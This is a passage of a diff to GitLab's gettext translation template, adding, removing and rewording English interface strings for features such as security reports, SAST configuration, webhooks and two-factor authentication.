-msgid "PrometheusService|<p class=\"text-tertiary\">No <a href=\"%{docsUrl}\">common metrics</a> were found</p>"
+msgid "PrometheusAlerts|is less than"
+msgstr ""
+
+msgid "PrometheusService|%{exporters} with %{metrics} were found"
msgstr ""
msgid "PrometheusService|Active"
@@ -19370,6 +19944,9 @@ msgstr ""
msgid "PrometheusService|New metric"
msgstr ""
+msgid "PrometheusService|No %{docsUrlStart}common metrics%{docsUrlEnd} were found"
+msgstr ""
+
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
@@ -19424,6 +20001,9 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotion is not supported."
+msgstr ""
+
msgid "Promotions|Burndown Charts are visual representations of the progress of completing a milestone. At a glance, you see the current state for the completion a given milestone. Without them, you would have to organize the data from the milestone and plot it yourself to have the same sense of progress."
msgstr ""
@@ -19505,6 +20085,9 @@ msgstr ""
msgid "Prompt users to upload SSH keys"
msgstr ""
+msgid "Protect"
+msgstr ""
+
msgid "Protect variable"
msgstr ""
@@ -19835,9 +20418,6 @@ msgstr ""
msgid "Recent searches"
msgstr ""
-msgid "Recipe"
-msgstr ""
-
msgid "Reconfigure"
msgstr ""
@@ -19933,6 +20513,9 @@ msgstr ""
msgid "Registration|Your profile"
msgstr ""
+msgid "Registry setup"
+msgstr ""
+
msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
msgstr ""
@@ -20025,6 +20608,9 @@ msgstr ""
msgid "Releases|New Release"
msgstr ""
+msgid "Release|Something went wrong while creating a new release"
+msgstr ""
+
msgid "Release|Something went wrong while getting the release details"
msgstr ""
@@ -20067,6 +20653,9 @@ msgstr ""
msgid "Remove all or specific label(s)"
msgstr ""
+msgid "Remove approver"
+msgstr ""
+
msgid "Remove approvers"
msgstr ""
@@ -20136,9 +20725,6 @@ msgstr ""
msgid "Remove priority"
msgstr ""
-msgid "Remove project"
-msgstr ""
-
msgid "Remove secondary node"
msgstr ""
@@ -20172,9 +20758,6 @@ msgstr ""
msgid "Removed %{type} with id %{id}"
msgstr ""
-msgid "Removed Projects"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
@@ -20187,12 +20770,6 @@ msgstr ""
msgid "Removed parent epic %{epic_ref}."
msgstr ""
-msgid "Removed projects"
-msgstr ""
-
-msgid "Removed projects cannot be restored!"
-msgstr ""
-
msgid "Removed spent time."
msgstr ""
@@ -20241,15 +20818,9 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing a project places it into a read-only state until %{date}, at which point the project will be permanently removed. Are you ABSOLUTELY sure?"
-msgstr ""
-
msgid "Removing license…"
msgstr ""
-msgid "Removing the project will delete its repository and all related resources including issues, merge requests etc."
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -20432,9 +21003,6 @@ msgstr ""
msgid "Repository Settings"
msgstr ""
-msgid "Repository URL"
-msgstr ""
-
msgid "Repository check"
msgstr ""
@@ -20622,9 +21190,15 @@ msgstr ""
msgid "Resolve all threads in new issue"
msgstr ""
+msgid "Resolve conflicts"
+msgstr ""
+
msgid "Resolve conflicts on source branch"
msgstr ""
+msgid "Resolve these conflicts or ask someone with write access to this repository to merge it locally."
+msgstr ""
+
msgid "Resolve thread"
msgstr ""
@@ -20804,6 +21378,9 @@ msgstr ""
msgid "Rook"
msgstr ""
+msgid "Rule name is already taken."
+msgstr ""
+
msgid "Rules that define what git pushes are accepted for a project in this group. All newly created projects in this group will use these settings."
msgstr ""
@@ -20816,6 +21393,9 @@ msgstr ""
msgid "Run housekeeping"
msgstr ""
+msgid "Run manual or delayed jobs"
+msgstr ""
+
msgid "Run tests against your code live using the Web Terminal"
msgstr ""
@@ -20942,6 +21522,9 @@ msgstr ""
msgid "Save Changes"
msgstr ""
+msgid "Save Push Rules"
+msgstr ""
+
msgid "Save anyway"
msgstr ""
@@ -20972,6 +21555,9 @@ msgstr ""
msgid "Save variables"
msgstr ""
+msgid "Saved scan settings and target site settings which are reusable."
+msgstr ""
+
msgid "Saving"
msgstr ""
@@ -21020,6 +21606,9 @@ msgstr ""
msgid "Scopes can't be blank"
msgstr ""
+msgid "Score"
+msgstr ""
+
msgid "Scroll down"
msgstr ""
@@ -21062,6 +21651,9 @@ msgstr ""
msgid "Search branches and tags"
msgstr ""
+msgid "Search branches, tags, and commits"
+msgstr ""
+
msgid "Search by Git revision"
msgstr ""
@@ -21259,6 +21851,9 @@ msgstr ""
msgid "Secondary"
msgstr ""
+msgid "Seconds"
+msgstr ""
+
msgid "Secret"
msgstr ""
@@ -21286,13 +21881,37 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "SecurityApprovals|License Scanning must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|One or more of the security scanners must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires approval for vulnerabilties of Critical, High, or Unknown severity. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires license policy rules for licenses of Allowed, or Denied. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
+msgid "SecurityConfiguration|Available for on-demand DAST"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. More advanced configuration options exist, which you can add to the configuration file this tool generates. It's important to note that if you make any configurations, they will be saved as overrides and will be %{strongStart}excluded from automatic updates%{strongEnd}."
+msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "SecurityConfiguration|Create Merge Request"
+msgstr ""
+
+msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Enable"
msgstr ""
msgid "SecurityConfiguration|Enable via Merge Request"
@@ -21313,6 +21932,9 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|SAST Configuration"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -21340,7 +21962,7 @@ msgstr ""
msgid "SecurityReports|Add a project to your dashboard"
msgstr ""
-msgid "SecurityReports|Add or remove projects from your dashboard"
+msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
msgstr ""
msgid "SecurityReports|Add projects"
@@ -21376,13 +21998,10 @@ msgstr ""
msgid "SecurityReports|Download Report"
msgstr ""
-msgid "SecurityReports|Each vulnerability now has a unique page that can be directly linked to, shared, referenced, and tracked as the single source of truth. Vulnerability occurrences also persist across scanner runs, which improves tracking and visibility and reduces duplicates between scans."
-msgstr ""
-
-msgid "SecurityReports|Edit dashboard"
+msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
msgstr ""
-msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
+msgid "SecurityReports|Ensure that %{trackingStart}issue tracking%{trackingEnd} is enabled for this project and you have %{permissionsStart}permission to create new issues%{permissionsEnd}."
msgstr ""
msgid "SecurityReports|Error fetching the vulnerability counts. Please check your network connection and try again."
@@ -21397,19 +22016,13 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
-msgid "SecurityReports|Group Security Dashboard"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
-msgid "SecurityReports|Introducing standalone vulnerabilities"
-msgstr ""
-
msgid "SecurityReports|Issue Created"
msgstr ""
-msgid "SecurityReports|Learn more"
+msgid "SecurityReports|Issues created from a vulnerability cannot be removed."
msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
@@ -21421,6 +22034,9 @@ msgstr ""
msgid "SecurityReports|Monitor vulnerabilities in your code"
msgstr ""
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
msgid "SecurityReports|More info"
msgstr ""
@@ -21439,13 +22055,13 @@ msgstr ""
msgid "SecurityReports|Project"
msgstr ""
-msgid "SecurityReports|Projects added"
+msgid "SecurityReports|Project was not found or you do not have permission to add this project to Security Dashboards."
msgstr ""
-msgid "SecurityReports|Remove project from dashboard"
+msgid "SecurityReports|Projects added"
msgstr ""
-msgid "SecurityReports|Return to dashboard"
+msgid "SecurityReports|Remove project from dashboard"
msgstr ""
msgid "SecurityReports|Scan details"
@@ -21517,7 +22133,7 @@ msgstr ""
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
-msgid "SecurityReports|Unable to add %{invalidProjectsMessage}"
+msgid "SecurityReports|Unable to add %{invalidProjectsMessage}: %{errorMessage}"
msgstr ""
msgid "SecurityReports|Unable to add %{invalidProjects}"
@@ -21526,6 +22142,9 @@ msgstr ""
msgid "SecurityReports|Undo dismiss"
msgstr ""
+msgid "SecurityReports|Vulnerability Report"
+msgstr ""
+
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
@@ -21556,9 +22175,6 @@ msgstr ""
msgid "See what's new at GitLab"
msgstr ""
-msgid "See your pipeline in action"
-msgstr ""
-
msgid "Select"
msgstr ""
@@ -21682,6 +22298,9 @@ msgstr ""
msgid "Select shards to replicate"
msgstr ""
+msgid "Select source"
+msgstr ""
+
msgid "Select source branch"
msgstr ""
@@ -21712,6 +22331,9 @@ msgstr ""
msgid "Select timezone"
msgstr ""
+msgid "Select type"
+msgstr ""
+
msgid "Select user"
msgstr ""
@@ -21901,6 +22523,12 @@ msgstr ""
msgid "Service Desk is enabled but not yet active"
msgstr ""
+msgid "Service Desk is not enabled"
+msgstr ""
+
+msgid "Service Desk is not supported"
+msgstr ""
+
msgid "Service Templates"
msgstr ""
@@ -21913,6 +22541,12 @@ msgstr ""
msgid "Set %{epic_ref} as the parent epic."
msgstr ""
+msgid "Set .gitlab-ci.yml to enable or configure SAST"
+msgstr ""
+
+msgid "Set .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
+msgstr ""
+
msgid "Set a default template for issue descriptions."
msgstr ""
@@ -22229,19 +22863,19 @@ msgstr ""
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
-msgid "Showing Latest Version"
+msgid "Showing all issues"
msgstr ""
-msgid "Showing Version #%{versionNumber}"
+msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
-msgid "Showing all issues"
+msgid "Showing last %{size} of log -"
msgstr ""
-msgid "Showing graphs based on events of the last %{timerange} days."
+msgid "Showing latest version"
msgstr ""
-msgid "Showing last %{size} of log -"
+msgid "Showing version #%{versionNumber}"
msgstr ""
msgid "Side-by-side"
@@ -22337,6 +22971,9 @@ msgstr ""
msgid "Similar issues"
msgstr ""
+msgid "Simulate a pipeline created for the default branch"
+msgstr ""
+
msgid "Single or combined queries"
msgstr ""
@@ -22379,7 +23016,7 @@ msgstr ""
msgid "SlackIntegration|Select events below to enable notifications. The %{strong_open}Slack channel names%{strong_close} and %{strong_open}Slack username%{strong_close} fields are optional."
msgstr ""
-msgid "SlackIntegration|This service send notifications about projects' events to Slack channels. To set up this service:"
+msgid "SlackIntegration|This service sends notifications about project events to Slack channels. To set up this service:"
msgstr ""
msgid "SlackService|2. Paste the %{strong_open}Token%{strong_close} into the field below"
@@ -22430,12 +23067,21 @@ msgstr ""
msgid "SnippetsEmptyState|There are no snippets to show."
msgstr ""
+msgid "Snippets|Add another file %{num}/%{total}"
+msgstr ""
+
+msgid "Snippets|Delete file"
+msgstr ""
+
msgid "Snippets|Description (optional)"
msgstr ""
msgid "Snippets|File"
msgstr ""
+msgid "Snippets|Files"
+msgstr ""
+
msgid "Snippets|Give your file a name to add code highlighting, e.g. example.rb for Ruby"
msgstr ""
@@ -22493,6 +23139,9 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong when reordering designs. Please try again"
+msgstr ""
+
msgid "Something went wrong when toggling the button"
msgstr ""
@@ -22622,10 +23271,10 @@ msgstr ""
msgid "Something went wrong, unable to add projects to dashboard"
msgstr ""
-msgid "Something went wrong, unable to get projects"
+msgid "Something went wrong, unable to delete project"
msgstr ""
-msgid "Something went wrong, unable to remove project"
+msgid "Something went wrong, unable to get projects"
msgstr ""
msgid "Something went wrong, unable to search projects"
@@ -23522,6 +24171,9 @@ msgstr ""
msgid "Switch to the source to copy the file contents"
msgstr ""
+msgid "Symbolic link"
+msgstr ""
+
msgid "Sync information"
msgstr ""
@@ -23570,6 +24222,9 @@ msgstr ""
msgid "Tag name"
msgstr ""
+msgid "Tag name is required"
+msgstr ""
+
msgid "Tag this commit."
msgstr ""
@@ -23582,6 +24237,9 @@ msgstr ""
msgid "Tags"
msgstr ""
+msgid "Tags are deleted until the timeout is reached. Any remaining tags are included the next time the policy runs. To remove the time limit, set it to 0."
+msgstr ""
+
msgid "Tags feed"
msgstr ""
@@ -23763,6 +24421,12 @@ msgstr ""
msgid "Test"
msgstr ""
+msgid "Test Cases"
+msgstr ""
+
+msgid "Test cases are not available for this project"
+msgstr ""
+
msgid "Test coverage parsing"
msgstr ""
@@ -23831,9 +24495,6 @@ msgstr ""
msgid "TestReports|There was an error fetching the summary."
msgstr ""
-msgid "TestReports|There was an error fetching the test reports."
-msgstr ""
-
msgid "TestReports|There was an error fetching the test suite."
msgstr ""
@@ -23870,15 +24531,12 @@ msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
msgstr ""
-msgid "The %{true_up_link_start}true-up model%{link_end} has a retroactive charge for these users at the next renewal. If you want to update your license sooner to prevent this, %{support_link_start}please contact our Support team%{link_end}."
-msgstr ""
-
msgid "The %{type} contains the following error:"
msgid_plural "The %{type} contains the following errors:"
msgstr[0] ""
msgstr[1] ""
-msgid "The Advanced Global Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
+msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
@@ -23905,6 +24563,9 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
+msgid "The Web IDE offers advanced syntax highlighting capabilities and more."
+msgstr ""
+
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
@@ -23935,6 +24596,9 @@ msgstr ""
msgid "The commit does not exist"
msgstr ""
+msgid "The comparison view may be inaccurate due to merge conflicts."
+msgstr ""
+
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -23989,6 +24653,12 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The following %{user} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "The following %{user} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "The following items will NOT be exported:"
msgstr ""
@@ -24090,13 +24760,13 @@ msgstr ""
msgid "The number of changes to be fetched from GitLab when cloning a repository. This can speed up Pipelines execution. Keep empty or set to 0 to disable shallow clone by default and make GitLab CI fetch all branches and tags each time."
msgstr ""
-msgid "The number of merge requests merged to the master branch by month."
+msgid "The number of merge requests merged by month."
msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
-msgid "The one place for your designs"
+msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
msgid "The passphrase required to decrypt the private key. This is optional and the value is encrypted at rest."
@@ -24135,6 +24805,9 @@ msgstr ""
msgid "The project can be accessed without any authentication."
msgstr ""
+msgid "The project has already been added to your dashboard."
+msgstr ""
+
msgid "The project is accessible only by members of the project. Access must be granted explicitly to each user."
msgstr ""
@@ -24252,6 +24925,9 @@ msgstr ""
msgid "There are currently no events."
msgstr ""
+msgid "There are merge conflicts"
+msgstr ""
+
msgid "There are no %{replicableTypeName} to show"
msgstr ""
@@ -24327,12 +25003,15 @@ msgstr ""
msgid "There is already a repository with that name on disk"
msgstr ""
-msgid "There is no data available."
+msgid "There is no chart data available."
msgstr ""
msgid "There is no data available. Please change your selection."
msgstr ""
+msgid "There is no table data available."
+msgstr ""
+
msgid "There is too much data to calculate. Please change your selection."
msgstr ""
@@ -24345,6 +25024,9 @@ msgstr ""
msgid "There was a problem fetching labels."
msgstr ""
+msgid "There was a problem fetching milestones."
+msgstr ""
+
msgid "There was a problem fetching project branches."
msgstr ""
@@ -24495,19 +25177,19 @@ msgstr ""
msgid "There was an error when unsubscribing from this label."
msgstr ""
-msgid "There was an error while fetching value stream analytics data."
+msgid "There was an error while fetching the chart data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration data."
+msgid "There was an error while fetching the table data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration median data."
+msgid "There was an error while fetching value stream analytics %{requestTypeName} data."
msgstr ""
-msgid "There was an error while fetching value stream analytics recent activity data."
+msgid "There was an error while fetching value stream analytics data."
msgstr ""
-msgid "There was an error while fetching value stream analytics time summary data."
+msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
@@ -24531,6 +25213,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuableType} is confidential"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -24561,7 +25246,7 @@ msgstr ""
msgid "This action can lead to data loss. To prevent accidental actions we ask you to confirm your intention."
msgstr ""
-msgid "This action cannot be undone. You will lose the project's respository and all conent: issues, merge requests, etc."
+msgid "This action cannot be undone. You will lose the project's repository and all content: issues, merge requests, etc."
msgstr ""
msgid "This action will %{strongOpen}permanently delete%{strongClose} %{codeOpen}%{project}%{codeClose} %{strongOpen}immediately%{strongClose}, including its repositories and all content: issues, merge requests, etc."
@@ -24735,9 +25420,6 @@ msgstr ""
msgid "This is your current session"
msgstr ""
-msgid "This issue is confidential"
-msgstr ""
-
msgid "This issue is currently blocked by the following issues: %{issues}."
msgstr ""
@@ -24900,15 +25582,15 @@ msgstr ""
msgid "This project does not have a wiki homepage yet"
msgstr ""
-msgid "This project does not have billing enabled. To create a cluster, <a href=%{linkToBilling} target=\"_blank\" rel=\"noopener noreferrer\">enable billing <i class=\"fa fa-external-link\" aria-hidden=\"true\"></i></a> and try again."
-msgstr ""
-
msgid "This project has no active access tokens."
msgstr ""
msgid "This project is archived and cannot be commented on."
msgstr ""
+msgid "This project manages its dependencies using %{strong_start}%{manager_name}%{strong_end}"
+msgstr ""
+
msgid "This project path either does not exist or you do not have access."
msgstr ""
@@ -24969,6 +25651,9 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
+msgid "This will clear repository check states for ALL projects in the database. This cannot be undone. Are you sure?"
+msgstr ""
+
msgid "This will help us personalize your onboarding experience."
msgstr ""
@@ -25342,9 +26027,6 @@ msgstr ""
msgid "To define internal users, first enable new users set to external"
msgstr ""
-msgid "To enable it and see User Cohorts, visit %{application_settings_link_start}application settings%{application_settings_link_end}."
-msgstr ""
-
msgid "To further protect your account, consider configuring a %{mfa_link_start}two-factor authentication%{mfa_link_end} method."
msgstr ""
@@ -25429,9 +26111,15 @@ msgstr ""
msgid "To unsubscribe from this issue, please paste the following link into your browser:"
msgstr ""
+msgid "To update Snippets with multiple files, you must use the `files` parameter"
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
msgstr ""
+msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
+msgstr ""
+
msgid "To view the roadmap, add a start or due date to one of your epics in this group or its subgroups. In the months view, only epics in the past month, current month, and next 5 months are shown."
msgstr ""
@@ -25453,9 +26141,6 @@ msgstr ""
msgid "Today"
msgstr ""
-msgid "Toggle Kubernetes cluster"
-msgstr ""
-
msgid "Toggle Markdown preview"
msgstr ""
@@ -25516,6 +26201,9 @@ msgstr ""
msgid "Toggles :%{name}: emoji award."
msgstr ""
+msgid "Token valid until revoked"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -25660,6 +26348,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger manual job"
+msgstr ""
+
msgid "Trigger pipelines for mirror updates"
msgstr ""
@@ -25729,9 +26420,18 @@ msgstr ""
msgid "Turn On"
msgstr ""
+msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
+msgstr ""
+
msgid "Turn on Service Desk"
msgstr ""
+msgid "Turn on usage ping"
+msgstr ""
+
+msgid "Turn on usage ping to review instance-level analytics."
+msgstr ""
+
msgid "Twitter"
msgstr ""
@@ -25747,10 +26447,22 @@ msgstr ""
msgid "Two-factor Authentication Recovery codes"
msgstr ""
-msgid "Two-factor Authentication has been disabled for this user"
+msgid "Two-factor authentication"
msgstr ""
-msgid "Two-factor authentication"
+msgid "Two-factor authentication disabled"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for this user"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for your GitLab account."
+msgstr ""
+
+msgid "Two-factor authentication has been disabled successfully!"
+msgstr ""
+
+msgid "Two-factor authentication is not enabled for this user"
msgstr ""
msgid "Type"
@@ -25933,7 +26645,7 @@ msgstr ""
msgid "Unlock the discussion"
msgstr ""
-msgid "Unlock this %{issuableDisplayName}? <strong>Everyone</strong> will be able to comment."
+msgid "Unlock this %{issuableDisplayName}? %{strongStart}Everyone%{strongEnd} will be able to comment."
msgstr ""
msgid "Unlocked"
@@ -26023,6 +26735,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused, previous index '%{index_name}' will be deleted after %{time} automatically."
+msgstr ""
+
msgid "Unverified"
msgstr ""
@@ -26104,9 +26819,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated at"
-msgstr ""
-
msgid "Updated to %{linkStart}chart v%{linkEnd}"
msgstr ""
@@ -26122,7 +26834,7 @@ msgstr ""
msgid "Upgrade your plan"
msgstr ""
-msgid "Upgrade your plan to activate Advanced Global Search."
+msgid "Upgrade your plan to activate Advanced Search."
msgstr ""
msgid "Upgrade your plan to activate Audit Events."
@@ -26197,7 +26909,7 @@ msgstr ""
msgid "Usage"
msgstr ""
-msgid "Usage ping is not enabled"
+msgid "Usage ping is off"
msgstr ""
msgid "Usage statistics"
@@ -26287,9 +26999,6 @@ msgstr ""
msgid "Use %{code_start}::%{code_end} to create a %{link_start}scoped label set%{link_end} (eg. %{code_start}priority::1%{code_end})"
msgstr ""
-msgid "Use %{native_redirect_uri} for local tests"
-msgstr ""
-
msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
msgstr ""
@@ -26341,9 +27050,6 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
-msgid "User Cohorts are only shown when the %{usage_ping_link_start}usage ping%{usage_ping_link_end} is enabled."
-msgstr ""
-
msgid "User IDs"
msgstr ""
@@ -26587,9 +27293,15 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
+msgid "Users requesting access to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
msgid "Users were successfully added."
msgstr ""
+msgid "Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "Users with a Guest role or those who don't belong to any projects or groups don't count towards seats in use."
msgstr ""
@@ -26623,6 +27335,9 @@ msgstr ""
msgid "Validate"
msgstr ""
+msgid "Validate your GitLab CI configuration"
+msgstr ""
+
msgid "Validate your GitLab CI configuration file"
msgstr ""
@@ -26659,6 +27374,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStream|The Default Value Stream cannot be deleted"
+msgstr ""
+
msgid "Variable"
msgstr ""
@@ -26701,6 +27419,12 @@ msgstr ""
msgid "Version"
msgstr ""
+msgid "Version %{versionNumber}"
+msgstr ""
+
+msgid "Version %{versionNumber} (latest)"
+msgstr ""
+
msgid "View Documentation"
msgstr ""
@@ -26903,6 +27627,9 @@ msgstr ""
msgid "Vulnerabilities over time"
msgstr ""
+msgid "Vulnerability Report"
+msgstr ""
+
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
@@ -26966,9 +27693,6 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong while trying to unlink the issue. Please try again later."
msgstr ""
-msgid "VulnerabilityManagement|Something went wrong, could not create an issue."
-msgstr ""
-
msgid "VulnerabilityManagement|Something went wrong, could not get user."
msgstr ""
@@ -27110,7 +27834,7 @@ msgstr ""
msgid "We sent you an email with reset password instructions"
msgstr ""
-msgid "We tried to automatically renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
+msgid "We tried to automatically renew your subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
msgstr ""
msgid "We want to be sure it is you, please confirm you are not a robot."
@@ -27155,6 +27879,90 @@ msgstr ""
msgid "Webhooks have moved. They can now be found under the Settings menu."
msgstr ""
+msgid "Webhooks|Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Issues events"
+msgstr ""
+
+msgid "Webhooks|Deployment events"
+msgstr ""
+
+msgid "Webhooks|Enable SSL verification"
+msgstr ""
+
+msgid "Webhooks|Issues events"
+msgstr ""
+
+msgid "Webhooks|Job events"
+msgstr ""
+
+msgid "Webhooks|Merge request events"
+msgstr ""
+
+msgid "Webhooks|Pipeline events"
+msgstr ""
+
+msgid "Webhooks|Push events"
+msgstr ""
+
+msgid "Webhooks|SSL verification"
+msgstr ""
+
+msgid "Webhooks|Secret Token"
+msgstr ""
+
+msgid "Webhooks|Tag push events"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered by a push to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a confidential issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a deployment is finished/failed/canceled"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a merge request is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a new tag is pushed to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a wiki page is created/updated"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when an issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment on a confidential issue"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the job status changes"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the pipeline status changes"
+msgstr ""
+
+msgid "Webhooks|Trigger"
+msgstr ""
+
+msgid "Webhooks|URL"
+msgstr ""
+
+msgid "Webhooks|Use this token to validate received payloads. It will be sent with the request in the X-Gitlab-Token HTTP header."
+msgstr ""
+
+msgid "Webhooks|Wiki Page events"
+msgstr ""
+
msgid "Wednesday"
msgstr ""
@@ -27176,21 +27984,21 @@ msgstr ""
msgid "Welcome to GitLab"
msgstr ""
-msgid "Welcome to GitLab %{name}!"
+msgid "Welcome to GitLab%{br_tag}%{name}!"
msgstr ""
msgid "Welcome to GitLab, %{first_name}!"
msgstr ""
-msgid "Welcome to GitLab.com%{br_tag}@%{name}!"
-msgstr ""
-
msgid "Welcome to the guided GitLab tour"
msgstr ""
msgid "Welcome to your Issue Board!"
msgstr ""
+msgid "Welcome to your issue board!"
+msgstr ""
+
msgid "We’ve been making changes to %{featureName} and we’d love your feedback %{linkStart}in this issue%{linkEnd} to help us improve the experience."
msgstr ""
@@ -27200,6 +28008,9 @@ msgstr ""
msgid "What describes you best?"
msgstr ""
+msgid "What's new at GitLab"
+msgstr ""
+
msgid "What’s your experience level?"
msgstr ""
@@ -27517,10 +28328,10 @@ msgstr ""
msgid "You are connected to the Prometheus server, but there is currently no data to display."
msgstr ""
-msgid "You are going to remove %{group_name}, this will also remove all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to delete %{project_full_name}. Deleted projects CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
-msgid "You are going to remove %{project_full_name}. Removed project CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to remove %{group_name}, this will also delete all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
msgid "You are going to remove the fork relationship from %{project_full_name}. Are you ABSOLUTELY sure?"
@@ -27529,6 +28340,12 @@ msgstr ""
